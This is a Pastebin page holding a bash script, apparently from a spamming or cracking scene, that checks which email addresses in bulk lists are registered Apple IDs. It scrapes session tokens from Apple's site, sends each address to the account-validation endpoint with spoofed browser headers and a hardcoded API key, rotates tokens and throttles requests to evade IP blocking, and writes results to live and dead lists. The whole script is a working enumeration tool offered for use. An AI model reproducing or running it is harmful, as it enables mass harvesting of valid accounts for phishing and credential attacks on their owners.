Advertisement
Jemb0t_IR3eng

Apple Valid Email Checker 2019

Jun 19th, 2019
8,366
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 10.03 KB | None | 0 0
  1. #!/bin/bash
  2. # ArkealoGeNDz APPLE VALID EMAIL CHECKER 2019
  3. # 2019
  4. # By ArkealoGeNDz.
  5.  
  6. RED='\033[0;31m'
  7. CYAN='\033[0;36m'
  8. YELLOW='\033[1;33m'
  9. ORANGE='\033[0;33m'
  10. PUR='\033[0;35m'
  11. GRN="\e[32m"
  12. WHI="\e[37m"
  13. NC='\033[0m'
  14. echo ""
  15. printf "$RED           ##########################   $GRN#\n"
  16. printf "$RED           ########################    $GRN##\n"
  17. printf "$RED           ####                       $GRN###\n"
  18. printf "$RED           ####                      $GRN####\n"
  19. printf "$RED           #######################   $GRN####\n"
  20. printf "$RED           #######################   $GRN####\n"
  21. printf "$RED                              ####   $GRN####\n"
  22. printf "$RED                              ####   $GRN####\n"
  23. printf "$WHI           ##########$RED     ########   $GRN####\n"
  24. printf "$WHI           ############$RED     ######   $GRN####\n"
  25. printf "$WHI           #####                     $GRN####\n"
  26. printf "$WHI           #####                     $GRN####\n"
  27. printf "$WHI           ##################    $GRN########\n"
  28. printf "$WHI           ####################    $GRN######\n"
  29. printf "$NC\n"
  30. cat <<EOF
  31.              - Private tool -
  32.           [+] Coded by ArkealoGeNDz [+]
  33.        
  34. ---------------------------------------------------
  35.    ArkealoGeNDz APPLE VALID EMAIL CHECKER 2019
  36. ---------------------------------------------------
  37.  
  38. EOF
  39.  
  40. usage() {
  41.   echo "Usage: ./myscript.sh COMMANDS: [-i <list.txt>] [-r <folder/>] [-l {1-1000}] [-t {1-10}] OPTIONS: [-d] [-c]
  42.  
  43. Command:
  44. -i (20k-US.txt)     File input that contain email to check
  45. -r (result/)        Folder to store the result live.txt and die.txt
  46. -l (60|90|110)      How many list you want to send per delayTime
  47. -t (3|5|8)          Sleep for -t when check is reach -l fold
  48.  
  49. Options:
  50. -d                  Delete the list from input file per check
  51. -c                  Compress result to compressed/ folder and
  52.                    move result folder to haschecked/
  53. -h                  Show this manual to screen
  54. -u                  Check integrity file then update
  55.  
  56. Report any bugs to:  Fb.com/ArkealoGeNDz
  57. "
  58.   exit 1
  59. }
  60.  
  61. # Assign the arguments for each
  62. # parameter to global variable
  63. while getopts ":i:r:l:t:dchu" o; do
  64.     case "${o}" in
  65.         i)
  66.             inputFile=${OPTARG}
  67.             ;;
  68.         r)
  69.             targetFolder=${OPTARG}
  70.             ;;
  71.         l)
  72.             sendList=${OPTARG}
  73.             ;;
  74.         t)
  75.             perSec=${OPTARG}
  76.             ;;
  77.         d)
  78.             isDel='y'
  79.             ;;
  80.         c)
  81.             isCompress='y'
  82.             ;;
  83.         h)
  84.             usage
  85.             ;;
  86.         u)
  87.             updater "manual"
  88.             ;;
  89.     esac
  90. done
  91.  
  92. # Do automatic update
  93. # before passing arguments
  94. echo "[+] Doing an automatic update from server slackerc0de.us on `date`"
  95. updater "auto"
  96.  
  97. if [[ $inputFile == '' || $targetFolder == '' || $sendList == '' || $perSec == '' ]]; then
  98.   cli_mode="interactive"
  99. else
  100.   cli_mode="interpreter"
  101. fi
  102.  
  103. # Assign false value boolean
  104. # to both options when its null
  105. if [ -z "${isDel}" ]; then
  106.   isDel='n'
  107. fi
  108.  
  109. if [ -z "${isCompress}" ]; then
  110.   isCompress='n'
  111. fi
  112.  
  113. SECONDS=0
  114.  
  115. # Asking user whenever the
  116. # parameter is blank or null
  117. if [[ $inputFile == '' ]]; then
  118.   # Print available file on
  119.   # current folder
  120.   # clear
  121.  
  122.   read -p "Enter mailist file: " inputFile
  123. fi
  124.  
  125. if [[ $targetFolder == '' ]]; then
  126.   read -p "Enter target folder: " targetFolder
  127.   # Check if result folder exists
  128.   # then create if it didn't
  129.   if [[ ! -d "$targetFolder" ]]; then
  130.     echo "[+] Creating $targetFolder/ folder"
  131.     mkdir $targetFolder
  132.   else
  133.     read -p "$targetFolder/ folder are exists, append to them ? [y/n]: " isAppend
  134.     if [[ $isAppend == 'n' ]]; then
  135.       exit
  136.     fi
  137.   fi
  138. else
  139.   if [[ ! -d "$targetFolder" ]]; then
  140.     echo "[+] Creating $targetFolder/ folder"
  141.     mkdir $targetFolder
  142.   fi
  143. fi
  144.  
  145. if [[ $isDel == '' || $cli_mode == 'interactive' ]]; then
  146.   read -p "Delete list per check ? [y/n]: " isDel
  147. fi
  148.  
  149. if [[ $isCompress == '' || $cli_mode == 'interactive' ]]; then
  150.   read -p "Compress the result ? [y/n]: " isCompress
  151. fi
  152.  
  153. if [[ $sendList == '' ]]; then
  154.   read -p "How many list send: " sendList
  155. fi
  156.  
  157. if [[ $perSec == '' ]]; then
  158.   read -p "Delay time: " perSec
  159. fi
  160.  
  161. malhadi_appleval() {
  162.   SECONDS=0
  163.  
  164.   check=`curl 'https://appleid.apple.com/account/validation/appleid' -H 'scnt: '$scnt'' -H 'Origin: https://appleid.apple.com' -H 'Accept-Encoding: gzip, deflate, br' -H 'X-Apple-I-FD-Client-Info: {"U":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36","L":"en-US","Z":"GMT+08:00","V":"1.1","F":"sWa44j1e3NlY5BSo9z4ofjb75PaK4Vpjt3Q9cUVlOrXTAxw63UYOKES5jfzmkflJfmczl998tp7ppfAaZ6m1CdC5MQjGejuTDRNziCvTDfWk3qwyWEQEe6qgXK_Pmtd0SHp815LyjaY2.rINj.rINYOK0UjVsYUMnGWFfwMHDCQyG5me6sBLSsbXzU0l6sqKIrGfuzwg9wK9weEwHXXTSHCSPmtd0wVYPIG_qvoPfybYb5EvYTrYesR0CjEcIqnuWxf7_OLgiPFMtrs1OeyjaY2_GGEQIgwe98vDdYejftckuyPBDjaY2ftckZZLQ084akJlJWu_uWA16fUfR0odm_dhrxbuJjkWxv5iJ6KVg8cGYiKY.6elV2pN9csgdmX3ivm_Ud_UeAwHCSFQ_0pNvS_MNJZNlY5DuV25BNnOVgw24uy.CfT"}' -H 'Accept-Language: en-US,en;q=0.9,id;q=0.8,fr;q=0.7,la;q=0.6' -H 'X-Requested-With: XMLHttpRequest' -H 'Cookie: idclient=web; dslang=US-EN; site=USA; aidsp='$sessionId'; ccl=OXqm9r6b+jMZIrOKHBgGZQ==; geo=ID' -H 'Connection: keep-alive' -H 'X-Apple-Api-Key: '$apiKey'' -H 'X-Apple-ID-Session-Id: '$sessionId'' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36' -H 'Content-Type: application/json' -H 'Accept: application/json, text/javascript, */*; q=0.01' -H 'Referer: https://appleid.apple.com/account' -H 'X-Apple-Request-Context: create' --data-binary '{"emailAddress":"'$1'"}' --compressed -D - -s`
  165.   duration=$SECONDS
  166.   header="`date +%H:%M:%S` from $inputFile to $targetFolder"
  167.   footer="[Slackercode - AppleValid 2018] $(($duration % 60))sec.\n"
  168.   val="$(echo "$check" | grep -c 'used" : true')"
  169.   inv="$(echo "$check" | grep -c 'used" : false')"
  170.   bad="$(echo "$check" | grep -c 'valid" : false')"
  171.   icl="$(echo "$check" | grep -c 'appleOwnedDomain" : true')"
  172.  
  173.   if [[ $val > 0 || $icl > 0 ]]; then
  174.     printf "[$header] $2/$3. ${ORANGE}LIVE => $1 ${NC} $footer"
  175.     echo "LIVE => $1" >> $4/live.txt
  176.   else
  177.     if [[ $inv > 0 || $bad > 0 ]]; then
  178.       printf "[$header] $2/$3. ${RED}DIE => $1 ${NC} $footer"
  179.       echo "DIE => $1" >> $4/die.txt
  180.     else
  181.       printf "[$header] $2/$3. ${CYAN}UNKNOWN => $1 ${NC} $footer"
  182.       echo "$1 => $check" >> reason.txt
  183.       echo "UNKNOWN => $1" >> $inputFile
  184.     fi
  185.   fi
  186.  
  187.   printf "\r"
  188. }
  189.  
  190. if [[ ! -f $inputFile ]]; then
  191.   echo "[404] File mailist not found. Check your mailist file name."
  192.   ls -l
  193.   exit
  194. fi
  195.  
  196. # Preparing file list
  197. # by using email pattern
  198. # every line in $inputFile
  199. echo "[+] Cleaning your mailist file"
  200. grep -Eiorh '([[:alnum:]_.-]+@[[:alnum:]_.-]+?\.[[:alpha:].]{2,6})' $inputFile | tr '[:upper:]' '[:lower:]' | sort | uniq > temp_list && mv temp_list $inputFile
  201.  
  202. # Finding match mail provider
  203. echo "########################################"
  204. # Print total line of mailist
  205. totalLines=`grep -c "@" $inputFile`
  206. echo "There are $totalLines of list."
  207. echo " "
  208. echo "Hotmail: `grep -c "@hotmail" $inputFile`"
  209. echo "Yahoo: `grep -c "@yahoo" $inputFile`"
  210. echo "Gmail: `grep -c "@gmail" $inputFile`"
  211. echo "########################################"
  212.  
  213. # Extract email per line
  214. # from both input file
  215. IFS=$'\r\n' GLOBIGNORE='*' command eval  'mailist=($(cat $inputFile))'
  216. con=1
  217.  
  218. getKey() {
  219.   echo "Generating token now. Please wait..."
  220.   wait
  221.   resp=`curl 'https://appleid.apple.com/account' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' -H 'Connection: keep-alive' -H 'Accept-Encoding: gzip, deflate, br' -H 'Accept-Language: en-US,en;q=0.9,id;q=0.8,fr;q=0.7,la;q=0.6' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36' --compressed -D - -s -o /dev/null`
  222.   scnt="$(echo "$resp" | grep "scnt: " | cut -c7- | xargs)"
  223.   sessionId="$(echo "$resp" | grep "aidsp" | awk -F[=\;] '{print $2}' | xargs)"
  224.   apiKey='cbf64fd6843ee630b463f358ea0b707b'
  225.  
  226.   # echo "$resp"
  227.   # echo "SCNT: $scnt"
  228.   # echo "SESSIONID: $sessionId"
  229.  
  230.   if [[ $scnt == '' || $sessionId == '' || $apiKey = '' ]]; then
  231.     sleep 4
  232.     echo "IP Blocked by Apple."
  233.     getKey
  234.     sleep 2
  235.   fi
  236. }
  237.  
  238. getKey
  239.  
  240. echo "[+] Sending $sendList email per $perSec seconds"
  241.  
  242. for (( i = 0; i < "${#mailist[@]}"; i++ )); do
  243.   username="${mailist[$i]}"
  244.   indexer=$((con++))
  245.   tot=$((totalLines--))
  246.   fold=`expr $i % $sendList`
  247.   if [[ $fold == 0 && $i > 0 ]]; then
  248.     header="`date +%H:%M:%S`"
  249.     duration=$SECONDS
  250.     echo "[$header] Waiting $perSec second. $(($duration / 3600)) hours $(($duration / 60 % 60)) minutes and $(($duration % 60)) seconds elapsed, With $sendList req / $perSec seconds."
  251.     sleep $perSec
  252.   fi
  253.   vander=`expr $i % 8`
  254.   if [[ $vander == 0 && $i > 0 ]]; then
  255.     getKey
  256.   fi
  257.  
  258.   malhadi_appleval "$username" "$indexer" "$tot" "$targetFolder" "$inputFile" &
  259.  
  260.   if [[ $isDel == 'y' ]]; then
  261.     grep -v -- "$username" $inputFile > "$inputFile"_temp && mv "$inputFile"_temp $inputFile
  262.   fi
  263. done
  264.  
  265. # waiting the background process to be done
  266. # then checking list from garbage collector
  267. # located on $targetFolder/unknown.txt
  268. echo "[+] Waiting background process to be done"
  269. wait
  270. wc -l $targetFolder/*
  271.  
  272. if [[ $isCompress == 'y' ]]; then
  273.   tgl=`date`
  274.   tgl=${tgl// /-}
  275.   zipped="$targetFolder-$tgl.zip"
  276.  
  277.   echo "[+] Compressing result"
  278.   zip -r "compressed/$zipped" "$targetFolder/die.txt" "$targetFolder/live.txt"
  279.   echo "[+] Saved to compressed/$zipped"
  280.   mv $targetFolder haschecked
  281.   echo "[+] $targetFolder has been moved to haschecked/"
  282. fi
  283. #rm $inputFile
  284. duration=$SECONDS
  285. echo "$(($duration / 3600)) hours $(($duration / 60)) minutes and $(($duration % 60)) seconds elapsed."
  286. echo "+==========+ ArkealoGeNDz APPLE VALID EMAIL CHECKER 2019 +==========+"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement